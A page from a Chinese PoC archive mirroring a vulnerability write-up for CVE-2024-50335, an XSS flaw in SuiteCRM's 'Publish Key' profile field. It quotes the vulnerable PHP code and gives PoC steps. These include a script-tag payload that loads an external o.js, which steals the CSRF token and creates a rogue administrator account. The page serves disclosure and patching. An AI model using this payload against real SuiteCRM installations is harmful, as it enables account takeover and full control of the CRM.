目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2024-50335 PoC — SuiteCRM 跨站脚本漏洞

来源
关联漏洞
标题: SuiteCRM 跨站脚本漏洞 (CVE-2024-50335)
Description:SuiteCRM是SuiteCRM团队的一个客户关系管理系统。 SuiteCRM存在跨站脚本漏洞。攻击者利用该漏洞可以注入恶意 JavaScript 代码。
介绍
# CVE-2024-50335: Authenticated XSS in "Publish Key" Field Allowing Unauthorized Administrator User Creation

### Summary

_The "Publish Key" field in SuiteCRM's Edit Profile page is vulnerable to Reflected Cross-Site Scripting (XSS), allowing an attacker to inject malicious JavaScript code. This can be exploited to steal CSRF tokens and perform unauthorized actions, such as creating new administrative users without proper authentication._

---
### Details

_The vulnerability arises due to insufficient input validation and sanitization of the Publish Key field within the SuiteCRM application. When an attacker injects a malicious script, it gets executed within the context of an authenticated user's session. The injected script (o.js) then leverages the captured CSRF token to forge requests that create new administrative users, effectively compromising the integrity and security of the CRM instance._

---
### Impact

**This vulnerability is a critical Cross-Site Scripting (XSS) issue. Its impact includes:**

1. Unauthorized Administrative Access: An attacker can create new administrative users, potentially gaining complete control over the CRM instance.
2. CSRF Token Theft: Allows for unauthorized actions to be performed on behalf of authenticated users.
3. Data Integrity Compromise: The ability to manipulate user accounts and settings can lead to data loss, leakage, or unauthorized modification.

---

### Vulnerable PHP Source Code

```PHP
$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);
```
---
### PoC

1. Log in to SuiteCRM using valid Administrator credentials.
2. Navigate to Edit Profile: Access the Edit Profile page of the Administrator account.
3. In the "Publish Key" field under the Advanced tab, inject the following script:
```JS
<script src=//localhost:1235/o.js>
```
3. Ensure that o.js is hosted on a server at localhost on port 1235, serving the exploit code as described in the provided JavaScript code snippet.
5. Save the changes to the Administrator profile.
6. Upon reloading the SuiteCRM page, the malicious o.js script executes, stealing the CSRF token and using it to create a new administrative user with following credentials.
```
Username - imposter
Password - ok
```
7. Log in with the newly created administrative user credentials to verify successful exploitation.

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

---
### Reference 
- https://nvd.nist.gov/vuln/detail/CVE-2024-50335
- https://github.com/salesagility/SuiteCRM/security/advisories/GHSA-8rw6-g96j-3w7m

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →